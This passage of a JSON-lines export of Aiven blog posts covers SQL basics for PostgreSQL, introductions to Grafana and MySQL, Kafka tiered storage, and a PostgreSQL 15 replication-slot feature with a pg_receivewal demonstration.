populating ‘books‘ table */\n\n\t  TRUNCATE TABLE books;\n\n\t/* removes all data from ‘books’ table */\n```\n\n### DML - data manipulation language\nData manipulation language is used to work with tables and their contents as in:\n* ```INSERT``` - inserts new rows in a table.\n* ```UPDATE``` - updates existing rows in the table.\n* ```DELETE``` - deletes rows from a table.\n* ```SELECT``` - the main method for querying data from the database.\n\n![a select statement on a postgresql table](//cdn.sanity.io/images/sczeoy4w/production/36d909f145738dabef8d9f7b5bd875bed4093edd-3360x1750.png \"A select statement on a PostgreSQL table\")\n\nFor example:\n\n```\n\tINSERT INTO Borrowers(id,first_name,last_name,birth_date,years_member)   VALUES(1,'Riley','Jimbo',1964-05-02,12);\n\tINSERT INTO Borrowers(id,first_name,last_name,birth_date,years_member) VALUES(2,'Smith','Bubba',1973-09-21,5);\n\tINSERT INTO Borrowers(id,first_name,last_name,birth_date,years_member) VALUES(3,'Eberhardt','Jocelyn',1930-12-22,71);\n\n\tUPDATE Borrowers SET years_member = 1 WHERE id = 1;\n\tDELETE FROM Borrowers WHERE years_member \u003e 70;\n\n\tSELECT * FROM Borrowers WHERE years_member \u003e 5;\n\n  ```\n\n#### Compact syntax for bulk insert\nThere is an easier way to insert multiple rows at once, using a single command:\n\n```\n\tINSERT INTO Borrowers (id,first_name,last_name,birth_date,years_member) VALUES\n\t (4, 'Evelyn', 'Snarfington', 1959-08-03, 8),\n\t (5, 'Robert', 'Jones', 2000-01-23, 6),\n\t (6, 'Joseph', 'Chu', 1987-11-07, 10);\n```\n\n![Key Resource Info box template](//cdn.sanity.io/images/sczeoy4w/production/bf97e0c1740acc5640d0301827137e6592379f6d-2500x1250.png)\n### In brief: DCL and TCL\n\nDCL - data control language - deals with the permissions and other controls governing access to the database system. It consists of the following statements:\n* ```GRANT``` - grants access privileges.\n* ```REVOKE``` - revokes access privileges.\n\nTCL - transaction control language - has to do with the transactions in a database, and consists of the following statements:\n* ```COMMIT``` - commits a transaction.\n* ```ROLLBACK``` - in the event of an error, rolls back a transaction.\n* ```SAVEPOINT``` - sets a save point in a transaction.\n* ```SET_TRANSACTION``` - defines transaction characteristics.\n\n### Querying data\nMost querying on PostgreSQL (as in SQL itself) happens via the ```SELECT``` statement, as in the following examples:\n\n```\nSELECT * FROM Borrowers;\n```\n\nQueries can be refined in a variety of ways, for example limiting results to a condition:\n\n```\nSELECT * FROM Borrowers WHERE years_member \u003e 3;\n```\n\nLimiting results to a specific results count:\n\n```\nSELECT * FROM Borrowers LIMIT 5;\n```\n\nQuerying only certain fields:\n\n```\nSELECT id, last_name, years_member FROM Borrowers;\n```\n\nSorting query results by certain fields:\n\n```\nSELECT * FROM Borrowers ORDER BY years_member DESC;\n```\n\nand so on.\n\n## Aiven for PostgreSQL\nAiven for PostgreSQL is our managed and hosted solution for any provider, offering high-availability with automatic [updates](https://aiven.io/blog/postgresql-major-version-in-place-upgrades-supported-on-aiven) and backups. Aiven supports various [extensions](https://aiven.io/docs/products/postgresql/reference/list-of-extensions.html), such as PostGIS and [TimescaleDB](https://aiven.io/blog/turn-aiven-postgresql-into-time-series-powerhouse-with-timescale) and provides [publish/subscribe](https://aiven.io/blog/logical-replication-using-publish-subscribe-now-supported-by-aiven-postgresql) logical replication.\n\nAiven for PostgreSQL is just one part of the data platform we provide. You can integrate it as a part of a system that also includes things like [Aiven for Apache Kafka](https://aiven.io/kafka), [OpenSearch](https://aiven.io/opensearch) or [Redis](https://aiven.io/caching).\n\nIf you're unsure which cloud to choose, [take a look at the latest benchmarks across GCP, AWS and Azure](https://aiven.io/blog/aiven-for-postgresql-13-performance-on-gcp-aws-and-azure-benchmark)!\n\n::youtube[PostgreSQL cloud performance]{#tQ8yxZjEUM4}\n\n## Getting started with Aiven for PostgreSQL\nTo begin with, you could do worse than [read the documentation](https://aiven.io/docs/products/postgresql).\n\nAiven for PostgreSQL is easy to set up. Sign up for 30-days free trial at [Aiven Console](https://console.aiven.io/).\n\n\n## Further reading\n\n- [Remote read replicas - the what, why, and how](https://aiven.io/blog/postgresql-remote-read-replica)\n\n- [The pursuit of happiness with Python and PostgreSQL®](https://aiven.io/blog/the-pursuit-of-happiness-with-python-and-postgresql)\n\n- [Aiven for PostgreSQL® read-only replicas](https://aiven.io/blog/aiven-postgresql-read-only-replicas)\n\n- [Aiven for PostgreSQL® connection pooling](https://aiven.io/blog/aiven-postgresql-connection-pooling)\n\n- [Using PostgreSQL® JSON functions to navigate reviews of restaurants in India](https://aiven.io/blog/pg-json-indian-restaurants)\n\nAlso, there's quite a lot on the [Aiven blog about PostgreSQL](https://aiven.io/blog?categories=postgresql) - check it out for some cool things to use PostgreSQL for.\n","categories":[{"_key":"1vrpqSQEi7vREEAlHVVpOG","_ref":"1vrpqSQEi7vREEAlHVVpOG","_type":"reference"},{"_key":"2vw3G7QzI7VENTWVzT0PMh","_ref":"2vw3G7QzI7VENTWVzT0PMh","_type":"reference"},{"_key":"3RInNwDlIfGT91IDLKEgDC","_ref":"3RInNwDlIfGT91IDLKEgDC","_type":"reference"}],"internalBlogProcess":"editorial","mainImage":{"alt":"","asset":{"_ref":"image-b0449afd20c8f661e22eb3ac624f2bd11b69c630-1567x844-png","_type":"reference"}},"publishedAt":"2022-06-09T00:00:00.000Z","seo":{"_type":"metaData","metaDescription":"Join us for a browse about the ins and outs of PostgreSQL® on this page of information and resources.","metaImage":{"alt":"","asset":{"_ref":"image-b0449afd20c8f661e22eb3ac624f2bd11b69c630-1567x844-png","_type":"reference"}},"metaTitle":"PostgreSQL® | Comprehensive guide | Get started with Aiven"},"slug":{"_type":"slug","current":"/blog/an-introduction-to-postgresql"},"subtitle":"Join us for a browse about the ins and outs of PostgreSQL® on this page of information and resources.","title":"What is PostgreSQL®?"}
{"__i18n_lang":"en","_createdAt":"2022-10-03T06:48:59Z","_id":"5f233693-50cd-4dd3-9bb8-70485a56b41f","_rev":"BVM0UzymoPXcfHGeYl8GUv","_type":"post","_updatedAt":"2024-08-09T10:11:47Z","authors":[{"_key":"4eOoTE1EiQcR9UTalcanQG","_ref":"4eOoTE1EiQcR9UTalcanQG","_type":"reference"}],"body":"## What’s Grafana all about?\nMade and maintained by Grafana Labs since 2014, Grafana® has become [one of the most popular open source projects on GitHub](https://github.com/grafana/grafana \"Github's Grafana resources\"). Why’s that, you ask? Because Grafana can give (distributed) teams that single source of truth when it comes to the health of their project.\n\nGrafana allows you to query, visualize, alert on and understand your data no matter where it is stored. By combining and correlating data from any source in one dashboard, your team is on the same page - always.\n\nAnd when we say *any source*, we mean it. Grafana’s [plugin catalog is vast](https://grafana.com/grafana/plugins/ \"Grafana plugins - extend and customize your Grafana\"), and growing. Today Grafana supports 290 plugins, of which [Aiven offers 62](https://aiven.io/docs/products/grafana/reference/plugins.html \"Plugins for Aiven for Grafana\") - way more than some of the big Cloud vendors. Grafana starts making sense when it's connected to more sources and allows you to connect the dots between your Splunk, Oracle, MongoDB … and when you’re missing a data source, you can always use the general purpose Infinity plugin to visualize data from virtually any JSON, CSV, XML, GraphQL or HTML endpoint.\n\n[Aiven for Grafana®](https://aiven.io/grafana \"Managed Grafana as a service\") is a fully managed offering of the multi-platform open source analytics and interactive visualization web application that is Grafana.\n\n## Grafana’s benefits and uses\n__Debugging__: Teams use Grafana for ad hoc __troubleshooting__. Different teams often use different tools, and access might not be shared across those groups. When Grafana has query access to your monitoring applications, you’re all looking at the same spikes and you can get to a plan of action quicker.\n\n__Observability__: Grafana visualizes time series data as a graph, allowing you to [observe how your application behaves over time](https://aiven.io/blog/observe-your-postgresql-metrics-with-terraform-influxdb-and-grafana \"Observe your PostgreSQL® metrics with Terraform, InfluxDB and Grafana\"). What’s more, [Grafana dashboards](https://aiven.io/blog/metrics-and-graphs-with-m3-and-grafana \"Metrics and graphs with M3 and Grafana\") offer insights to all kinds of stakeholders, regardless of their technical skills, thanks to the customizable abstraction layer for visualization.\n\n__The boy who cried wolf__: Use the __Mixed view__ to combine alerting data from data sources, and only notify your on-call team when alarm bells go off at Pagerduty __and__ Datadog __and__ New Relic. Waking people up over false positives is a surefire path to alerting fatigue.\n## How to get started with Grafana\nNavigate to the [Aiven Console](https://console.aiven.io/ \"Aiven Console login\") and create a Grafana service on a trial account. Copy the generated password, and select *Service URI* to leave the Console and go to Grafana.\n\n![Grafana console service](//cdn.sanity.io/images/sczeoy4w/production/c689ee3ab7aa6f76078fd01ab8b7e107e6df53eb-1920x1254.png)\n\nTo add data sources that are not available from our service integrations, navigate to *Configuration \u003e Data sources*, and *Configuration \u003e Plugins* for a list of available plugins (including but not limited to data source plugins).\n\n![Plugins overview screen](//cdn.sanity.io/images/sczeoy4w/production/9c772f418eda7824466fea923e7a5e6fa156c25f-1837x1271.png)\n\nLet’s say you want to track and understand the health of my [OpenSearch](https://aiven.io/blog/introduction-to-opensearch \"Introduction to OpenSearch®\")® instance by visualizing its metrics. Go back to the Aiven Console and create an OpenSearch instance there as well. In this example we're running a very barebones OpenSearch cluster that we want to observe. For that, you need the Metrics integration to send service metrics to M3, which is very suitable for time series data.\n\nCreate a new M3 service right from the service integrations window.\n\n![Service integrations for os screenshot 20220913](//cdn.sanity.io/images/sczeoy4w/production/fdbe0b431f7fd700c07b498068c93f848f2d8374-1727x699.png)\n\nNow you need M3 to collect data from OpenSearch, and send that to Grafana.\n\n![Enabled service integrations m3](//cdn.sanity.io/images/sczeoy4w/production/de70c041593456246af6fe81fc7c104b165e4ed8-1723x679.png)\n\nSelect the Dashboards integration and connect M3 to your existing Grafana instance.\n\n![Enabled services 20220913](//cdn.sanity.io/images/sczeoy4w/production/2df698122a45098a0c6ee809b6e68428b8774e2f-1770x262.png)\n\nM3 now collects data from OpenSearch, making it accessible for visualization.\n\nGo open Grafana and browse the dashboards. When you select the prebuilt dashboard, the data begins to roll in and you can start to see graphs and charts. You can also edit your data source to make it collect data on shorter intervals, if you’re in a hurry.\n\n![Grafana dashboard](//cdn.sanity.io/images/sczeoy4w/production/ee2e409a9dbb1a29768a0f922dfee4ef9bcc66bb-1859x2534.png)\n\nNow that you've got your dashboard, you can drag and drop panels as you'd like. Remember to rename the dashboard when you make changes, though! Otherwise, with the next update, the dashboard resets to its default settings.\n\n## Next steps\nOne of the attractive features of a managed services platform like Aiven is the extensibility of each individual service. Grafana is highly compatible with other Aiven products. You can set up your other Aiven services as data sources for Grafana, like [PostgreSQL®](https://aiven.io/blog/observe-your-postgresql-metrics-with-terraform-influxdb-and-grafana \"Observe your PostgreSQL® metrics with Terraform, InfluxDB and Grafana\"), MySQL, ClickHouse®, OpenSearch® and InfluxDB®, monitor their health, and perform queries.\n\nBuild a proof of concept with Grafana, and soon enough you'll find yourself sharing dashboards with your team members when you’re analyzing traffic spikes, or investigating performance issues.\n\n--\n\nIf you have any feedback or questions, say hi to us on [Twitter](https://twitter.com/aiven_io) or [LinkedIn](https://www.linkedin.com/company/aiven/). Make sure you follow our [changelog](https://aiven.io/changelog) and [blog](https://aiven.io/blog) RSS feeds, and if you want the latest news about Aiven and our services - plus a bit extra on all things open source - [subscribe to our monthly newsletter](https://aiven.io/newsletter)!\n\n\n## Further reading\n\n- [Customize and contextualize your data with Grafana® 10](https://aiven.io/blog/customize-and-contextualize-your-data-with-grafana-10)","categories":[{"_key":"4hAyABhHhRRrLCRrQAMHR1","_ref":"4hAyABhHhRRrLCRrQAMHR1","_type":"reference"},{"_key":"5Ry1OHE6tZ0LKPQxJ9XkJd","_ref":"5Ry1OHE6tZ0LKPQxJ9XkJd","_type":"reference"}],"mainImage":{"alt":"","asset":{"_ref":"image-897121af3cb3da563cc0349f739cc41bb83e682c-1567x844-png","_type":"reference"}},"publishedAt":"2022-09-27T00:00:00.000Z","seo":{"_type":"metaData","metaDescription":"By combining and correlating data from any source in one dashboard, Grafana® ensures your team is always on the same page.","metaImage":{"alt":"","asset":{"_ref":"image-897121af3cb3da563cc0349f739cc41bb83e682c-1567x844-png","_type":"reference"}},"metaTitle":"What is Grafana®? | Elevate your data insights game | Aiven"},"slug":{"_type":"slug","current":"/blog/what-is-grafana"},"subtitle":"By combining and correlating data from any source in one dashboard, Grafana® ensures your team is always on the same page.","title":"What is Grafana®?"}
{"__i18n_lang":"en","_createdAt":"2022-06-16T14:05:39Z","_id":"C1uHqSo76FttzNKfqvt25","_rev":"1OyjLnRDvuzO2Q4Gk3FSIs","_type":"post","_updatedAt":"2024-09-23T13:47:59Z","authors":[{"_key":"5JCxTNOGlqEWGCJILDlrdc","_ref":"5JCxTNOGlqEWGCJILDlrdc","_type":"reference"}],"body":"MySQL has been a key part of the open source database ecosystem for a long time, with many of the world’s largest and fastest-growing companies adopting it for their business-critical systems. If you’re looking for a way to get started with MySQL, this blog post has a good overview of its capabilities and common use cases, so read on! \n\n## What is MySQL?\n\nMySQL is an open source relational database management system (DBMS). It is developed, supported, and distributed by Oracle Corporation and it has a vibrant community around it. Some of the key MySQL features include:\n\n- Portability: MySQL works on [many different platforms](https://www.mysql.com/support/supportedplatforms/database.html \"many different platforms\") and is configured using CMake\n- Works on top of various storage engines, with the option to add new engines relatively easily to provide a SQL interface to an in-house database\n- In-memory hash tables, which are used as temporary tables\n- Many data types, including JSON and spatial\n- Full operator and function support in the SELECT list and WHERE clause of queries\n- Full support for SQL GROUP BY and ORDER BY clauses and group functions\n- Flexibility and security\n- MySQL includes several clients and utilities written in many languages \n\n## What are the primary use cases for MySQL?\n\nMySQL is the most widely adopted relational database management system and can be used for mission critical apps, dynamic websites, and as an embedded database for software, hardware, and appliances. Here are the examples of some of the most common use cases: \n\n- __Online Transaction Processing (OLTP)__ – MySQL can be useful both in any application that requires a simple SQL engine and websites with heavy traffic. It adheres to ACID principles and its extensions to ANSI/ISO Standard SQL support a large volume of databases.\n- __LAMP Stack__ – MySQL’s simple programming syntax makes it compatible with high-performance applications running on the LAMP stack (Linux, Apache, MySQL, and PHP/Python/Perl). \n- __eCommerce – MySQL__ can process a high volume of requests in the shortest amount of time, so it’s good for managing customer data, catalogs, and transactions.\n- __Fraud detection__ – Thanks to the high availability of MySQL, it’s able to analyze transactions in real time, along with trends or anomalous behavior, to prevent fraudulent activities.\n\nThese are just some examples of situations where you can use MySQL. As it’s a highly popular database management system and it’s open source, it has an extensive portfolio of extensions and community support. All this makes MySQL a flexible tool for many use cases. \n\n## How to get started with MySQL?\n\nIt’s relatively easy if you use Aiven for MySQL™. Whether you are building something new or looking for a modern platform for your existing applications, Aiven for MySQL™ is a friendly and scalable offering. Here’s how to get started:\n\n- Log in to the [Aiven Console](https://console.aiven.io/ \"Aiven Console\") (or [sign up](https://console.aiven.io/signup \"Trial sign up\") for a 30-day trial if you haven’t done so yet!). \n- Create a new Aiven service by [following these steps](https://aiven.io/docs/platform/howto/create_new_service \"Create an Aiven service\"). \n- Click the service name in the list to go to the ”Overview” page. You can configure the service using our [list of available parameters](https://aiven.io/docs/products/mysql/reference/advanced-params \"List of parameters\") if needed. \n- Once the service is up and running, the light changes to green and the indicator says ” RUNNING “. \n\nThat’s it! You can explore the next steps on our Developer Portal - we have quite an extensive list of How-tos and resources available at [https://aiven.io/docs/products/mysql/](https://aiven.io/docs/products/mysql/ \"MySQL introduction\"). \n\n## Wrapping up\n\nWe hope you found this introduction useful and are ready to get started with MySQL. For more details about the tool, check out our resources below or [the official MySQL docs](https://dev.mysql.com/doc/refman/8.0/en/ \"MySQL documentation\"). \n\n- [Getting started with MySQL guide](https://aiven.io/docs/products/mysql/get-started \"Getting started with MySQL\")\n- Check out this [blog post](https://aiven.io/blog/postgresql-vs-mysql-the-aiven-championships \"Blog post PostgreSQL vs MySQL\") on the difference between MySQL and PostgreSQL\n- Find out about [our open-source solution to MySQL backups and restoration MyHoard](https://aiven.io/blog/introducing-myhoard-your-single-solution-to-mysql-backups-and-restoration \"MyHoard introduction\") and check out the [GitHub repository](https://github.com/aiven/myhoard \"MyHoard GitHub repository\")\n\nLastly, try out our fully-managed service, deployable in the cloud of your choice. [Start with a 30-day trial](https://console.aiven.io/signup \"Aiven 30-day free trial\") and see if it works for your use case. As we mentioned, MySQL has a vibrant community to answer any questions you may have, or our team can help answer those questions for you too.\n\n\n## Further Reading\n\n- [What is ETL?](https://aiven.io/glossary/what-is-etl)","categories":[{"_key":"8R60m8L4BFeRA01yrF7eD","_ref":"8R60m8L4BFeRA01yrF7eD","_type":"reference"},{"_key":"5xudGcikDUGEMuFsHkfr0z","_ref":"5xudGcikDUGEMuFsHkfr0z","_type":"reference"},{"_key":"2vw3G7QzI7VENTWVzT0PMh","_ref":"2vw3G7QzI7VENTWVzT0PMh","_type":"reference"},{"_key":"4oOXmVdOFVtsrwUNsesw8P","_ref":"4oOXmVdOFVtsrwUNsesw8P","_type":"reference"}],"internalBlogProcess":"editorial","mainImage":{"alt":"","asset":{"_ref":"image-5e4ac3e75c086ecb0ebf8038aa066cf66a45cae2-1567x844-png","_type":"reference"}},"publishedAt":"2022-02-23T00:00:00.000Z","seo":{"metaDescription":"MySQL is a traditional open source relational database that goes well with many well-established applications. Find out more about its features and use cases.","metaImage":{"alt":"","asset":{"_ref":"image-5e4ac3e75c086ecb0ebf8038aa066cf66a45cae2-1567x844-png","_type":"reference"}},"metaTitle":"What is MySQL? Get the basics here"},"slug":{"_type":"slug","current":"/blog/what-is-mysql"},"subtitle":"MySQL is a traditional open source relational database that goes well with many well-established applications. Find out more about its features and use cases.","title":"What is MySQL? Get the basics here"}
{"__i18n_lang":"en","_createdAt":"2024-08-26T15:49:24Z","_id":"d673489a-c315-4ea8-b272-3ed867b2ab55","_rev":"uQRNMiDfrp20RZ8Id8xQYJ","_type":"post","_updatedAt":"2024-08-29T08:00:06Z","authors":[{"_key":"1c34cf1ab1ff","_ref":"81fcbfa9-edc6-4c5c-acd0-9bf1ac3fa83d","_strengthenOnPublish":{"template":{"id":"author"},"type":"author"},"_type":"reference","_weak":true},{"_key":"5eb7f39ca6bc","_ref":"d9876e27-ddc6-4ade-abe4-1281a2c7a1e2","_strengthenOnPublish":{"template":{"id":"author"},"type":"author"},"_type":"reference","_weak":true}],"body":"Aiven announces the general availability of Tiered Storage in [Aiven for Apache Kafka®](https://aiven.io/kafka). Tiered storage enables Apache Kafka® to seamlessly move older, less frequently accessed data to a lower cost storage tier within Kafka. This enables infinite data retention while substantially reducing storage costs and improving performance and operational efficiency. Tiered storage in Aiven for Apache Kafka is production-ready for AWS, Google Cloud, Azure, and soon to be available for [Bring Your Own Cloud (BYOC)](https://aiven.io/docs/platform/concepts/byoc#architecture-of-the-standard-byoc-deployment) deployments for these cloud providers.\n\nThe popularity of Apache Kafka for building real-time data pipelines and event-driven architectures continues to accelerate. Larger datasets are being stored for longer durations, bringing growing challenges of scalability, performance, operational management, and especially cost-efficiency.\n\nTraditionally, Kafka stored all data on fast local disks and defaulted to a short 3- to 7-day retention period to mitigate the high cost of storage. As data accumulated, customers either purchased more storage, or moved data out of Kafka to less expensive datastores like Hadoop Distributed File System (HDFS) or other databases, data lakes, or data warehouses for long-term retention and analysis. But this created a fragmented data access experience for consumers that needed to access both fresh and historical data-–maintaining queries to both Kafka and other datastores is complex and cumbersome.\n\nTiered storage addresses this challenge where storage is no longer the bottleneck or budget buster in scaling Kafka. Log segments on the Kafka broker node remain on local disk for fast access, and cold data is automatically moved within Kafka to lower cost cloud object storage like Amazon S3, Google Cloud Storage, or Azure Blob Storage. Using tiered storage reduces the size of broker node storage, which eliminates the need for large node-to-node data replication operations and makes upgrades and migrations smoother and more performant.\n\n# **Benefits of Apache Kafka tiered storage**\nTiered storage optimizes costs, simplifies scaling, boosts performance, and improves operational efficiency. These benefits make Apache Kafka a more versatile and cost-effective solution for both real-time and long-term data storage. For use cases involving large volumes of historical data, the cost savings can be very substantial.\n\n- **Unlimited storage:** Data can be retained indefinitely without space constraints.\n- **Optimized costs:** Storage costs are significantly reduced by moving older data from costly local disks in the broker node to a less expensive storage tier.\n- **Greater elasticity:** Decoupling compute and storage enables storage to expand independently, without adding new broker nodes and copying the entire dataset from old to new nodes. Also, compute resources can be adjusted based on demand, leading to overall more efficient resource allocation and utilization.\n- **Improved Performance:** Consumers querying fresh data on local disk experience no performance impact from those reading data in tiered storage. Data read from tiered storage is retained in a cache for faster subsequent queries on the same data.\n- **Simplified Management:** With less data managed locally by the broker, node-to-node replications, upgrades, migrations, and rebalancing are faster and smoother, reducing the operational load on both the system and Kafka administrators.\n# **When and why to use tiered storage**\nUnderstanding when and why to use tiered storage in Aiven for Apache Kafka helps you maximize its benefits, particularly around cost savings and system performance.\n\nTop scenarios for using tiered storage include:\n- **Long-term data retention:** Many organizations require large-scale data storage for extended periods for regulatory compliance, audits, or historical data analysis. For example, financial institutions retain auditable records for seven years. Tiered storage makes it possible to keep data accessible within Kafka for as long as required at a very reasonable cost.\n- **Immutable backup:** When failures occur in downstream consumers like PostgreSQL, OpenSearch, or ClickHouse, Kafka tiered storage contains the full data history to quickly restore the data to its current state.\n- **High-speed data ingestion:** Tiered storage can manage unpredictable or sudden data spikes by supplementing local disks with cloud storage to ensure optimal performance. Retailers and ecommerce websites may see a huge, unexpected spike following a popular promotion, and Kafka with tiered storage can easily handle the sudden increase in incoming data.\n- **Unlock new use cases:** By eliminating traditional storage limitations, organizations gain the flexibility to support a wide range of applications and workflows, including scenarios where Apache Kafka was once deemed impractical or too expensive. For example, training AI/ML models with real-time and historical data from a single source of truth, Kafka.\n# **How it works**\nTiered storage operates seamlessly for both Apache Kafka producers and consumers. When tiered storage is enabled, data produced to a topic is initially stored on the local disk of the Kafka broker. Data is transferred to remote storage asynchronously, as configured by the Kafka admin, and does not interfere with the producer activity. When consumers fetch records stored in remote storage, there is a slight delay introduced when the Apache Kafka broker gets the records from remote storage. However, the broker downloads and caches these records locally, enabling faster access in subsequent retrievals.\n# **Pricing \u0026 Availability**\nTiered storage [pricing](https://aiven.io/pricing?product=kafka) starts from $0.09 per GB/month, depending on the precise object storage system used. Costs are determined by the amount of remote storage used, measured in GB/hour, and will be confirmed when enabling tiered storage in the Aiven console. For a detailed explanation of tiered storage pricing, please check the [documentation](https://aiven.io/docs/products/kafka/concepts/kafka-tiered-storage). Tiered storage supports cloud storage services from all three hyperscalers – Amazon S3, Google Cloud Storage, and Azure Blob Storage.\n\nPlease contact [Aiven Support](https://aiven.io/contact) to request that tiered storage be made available to you at the project level.\n\nRead more about Tiered Storage in our blog article Introducing [Tiered Storage for Aiven for Apache Kafka®: Unlocking Improved Cost-Efficiency and Scalability](https://aiven.io/blog/introducing-tiered-storage-for-aiven-for-apache-kafka) and see how to start using it in [A guide to Apache Kafka® tiered storage with Aiven and Terraform](https://aiven.io/developer/kafka-tiered-storage-terraform). ","categories":[{"_key":"182de00f60e7","_ref":"ksykM2RWxnnen4wmbNFR6","_type":"reference"},{"_key":"8bc9e99c6c37","_ref":"9yQ4jxpUoNWbSOSWYlghM","_type":"reference"},{"_key":"e20f53425e2b","_ref":"3DG5ZYx4kaoRquQmn345yY","_type":"reference"}],"mainImage":{"_type":"mainImage","asset":{"_ref":"image-e9bf01d574aa0b7343b464ac83e9a4ea0e1ce9dd-1200x628-png","_type":"reference"}},"publishedAt":"2024-08-28T08:00:24.824Z","related":[{"_key":"4629642d5c70","_ref":"8b556977-dfaf-4620-b4da-f81d0c19f3b5","_type":"reference"},{"_key":"5467e8b5ffd5","_ref":"a5e83a3d-2ace-4b5c-a9e1-9046a66959ed","_type":"reference"},{"_key":"137c1b68b0d7","_ref":"a90eb4e8-6d45-4c1b-b767-22d99d8beefc","_type":"reference"}],"slug":{"_type":"slug","current":"/blog/unleash-savings-and-scalability-with-aiven-for-apache-kafka"},"subtitle":"Tiered Storage reduces storage costs, increases operational flexibility, and provides unlimited data retention scalability","title":"Unleash Savings and Scalability with Aiven for Apache Kafka®"}
{"__i18n_lang":"en","_createdAt":"2022-06-16T14:05:39Z","_id":"3vVhtam9ib0GUCnRmV3Jth","_rev":"AUoLUkEDo6CVeRx5skuQ63","_type":"post","_updatedAt":"2024-02-07T11:15:47Z","authors":[{"_key":"5NzxBK7UvFN976uA2uGF66","_ref":"5NzxBK7UvFN976uA2uGF66","_type":"reference"}],"body":"Today's post is about a new PostgreSQL feature (coming in PostgreSQL 15)\ndeveloped by Aiven to solve a reliability problem we sometimes run into with\nreplication. The `READ_REPLICATION_SLOT` command makes a physical replication\nclient, particularly `pg_receivewal`, more reliable.\n\nAt Aiven's OSPO office, we dedicate our time to the open source products Aiven\noffers or develops, and we were very happy to collaborate on this feature.\n\n## PostgreSQL replication surprises\n\nThis story starts with our own [PgHoard](https://github.com/aiven/pghoard), a\n[PITR](https://www.postgresql.org/docs/current/continuous-archiving.html)\nbackup tool for PostgreSQL. PgHoard offers several methods to archive the WAL\n(Write Ahead Log), including\n[`pg_receivewal`](https://www.postgresql.org/docs/current/app-pgreceivewal.html),\na small application shipping with PostgreSQL which connects to a PostgreSQL\ncluster using the physical replication protocol to stream WAL as they are\nproduced, optionally keeping track of the position on the server using a\nreplication slot.\n\nWe noticed that we could occasionally lose some WAL when PgHoard is restarted\non another machine. This happens because `pg_receivewal` determines its start\nposition like this:\n\n- Look at what segments are present in the archive folder, and resume from the\n  latest archived one.\n- If the archive folder is empty, start from the current server LSN position.\n\nThe problem is, in our case, since `pg_receivewal` was started on another\nserver, it didn't have access to the archive folder directly so it resumed from\nthe current LSN (Log Sequence Number) position.\n\nYou can observe this in action by launching `pg_receivewal`, stopping it after\nsome WAL have been archived, then relaunching it with its directory empty:\n\n```\n❯ sudo -u postgres pg_receivewal -D /tmp/wals  -v -s pg_receivewal_slot\npg_receivewal: starting log streaming at 47/E5000000 (timeline 1)\npg_receivewal: finished segment at 47/E6000000 (timeline 1)\npg_receivewal: received interrupt signal, exiting\npg_receivewal: not renaming \"0000000100000047000000E6.partial\", segment is not complete\npg_receivewal: received interrupt signal, exiting\n❯ sudo rm /tmp/wals/* -rf\n# Wait for some WAL to be generated on the server, and relaunch pg_receivewal\n❯ sudo -u postgres pg_receivewal -D /tmp/wals  -v -s pg_receivewal_slot\npg_receivewal: starting log streaming at 47/E9000000 (timeline 1)\n```\n\nWe notice here that the segments `0000000100000047000000E7` and\n`0000000100000047000000E8` have not been archived at all, jumping from\n`47/E6000000` to `47/E9000000`\n\nWhat should happen here is resuming from the replication slot's `restart_lsn`, which\nis kept on the server.\n\n## New feature: `READ_REPLICATION_SLOT` command\n\nPrior to version 15 of PostgreSQL, the only way to know a replication slot's position\nwas to query the `pg_replication_slots` view, which means regular SQL queries need\nto be issued. This is fine for logical replication, as logical replication\nconnection are bound to a database and are allowed to perform SQL queries. But in\nthe case of physical replication connections, [we do not have this possibility](https://www.postgresql.org/docs/14/protocol-replication.html)\n\nThat meant that a physical replication client had no way to know the state of\nit's replication slot, except by opening a separate, non-replication connection,\nwhich is not something we can do with the `pg_receivewal` application.\n\nThe `READ_REPLICATION_SLOT` command aims to fulfill this gap, by allowing a\nreplication connection to read the current `restart_lsn` and timeline associated\nto a replication slot:\n\n```\n  ❯ psql postgres -d \"replication=1\"\npsql (15devel)\n  Type \"help\" for help.\n  postgres=# READ_REPLICATION_SLOT slot1;\n  slot_type | restart_lsn | restart_tli \n  -----------+-------------+-------------\n  physical  | 0/1501000   |           1\n(1 row)\n```\n\nWith that new command, `pg_receivewal` can now determine its starting LSN\nslightly differently:\n\n- Look at what segments are present in the archive folder, and resume from the\n  latest archived one.\n- If the archive folder is empty and a replication slot is used,\n  issue a `READ_REPLICATION_SLOT` command to read the state from the server.\n- Otherwise, start streaming from the server's current LSN.\n\nThis new command is currently only supported for physical replication slots,\nand returns limited information but that could evolve in future if needed.\nAlready the feature will help with the \"surprises\" we encountered when using\n`pg_receivewal`, and will also benefit other replication clients by making them\nmore reliable. It has been accepted into the project and will be available in\nthe version 15 release.\n\n## Next steps\n\n* Learn more about [Aiven for PostgreSQL](https://aiven.io/postgresql), or [sign up for our free trial](https://console.aiven.io/signup).\n* Check out the [PgHoard project on GitHub](https://github.com/aiven/pghoard).\n* Find out what else our [OSPO](https://aiven.io/open-source) (Open Source Program Office) is up to.\n* Follow us on [Twitter](https://twitter.com/aiven_io) to keep up with more posts like this.","categories":[{"_key":"1vrpqSQEi7vREEAlHVVpOG","_ref":"1vrpqSQEi7vREEAlHVVpOG","_type":"reference"}],"internalBlogProcess":"technical","mainImage":{"alt":"","asset":{"_ref":"image-4b49a1ad21b7341cef858dcad62875da240960bb-1567x844-png","_type":"reference"}},"publishedAt":"2022-01-13T00:00:00.000Z","related":[{"_key":"c39764400874","_ref":"56t2NYsyR3QoiIYqGfD0aR","_type":"reference"}],"seo":{"metaDescription":"Check out the latest improvement to PostgreSQL replication to which our OSPO team contributed to help solve reliability problems. ","metaImage":{"alt":"","asset":{"_ref":"image-4b49a1ad21b7341cef858dcad62875da240960bb-1567x844-png","_type":"reference"}},"metaTitle":"Future PostgreSQL: Improvement to the Replication Protocol"},"slug":{"_type":"slug","current":"/blog/future-postgresql-improvement-to-the-replication-protocol"},"subtitle":"Check out the latest improvement to PostgreSQL replication to which our OSPO team contributed to help solve reliability problems. ","title":"Future PostgreSQL: Improvement to the Replication Protocol"}
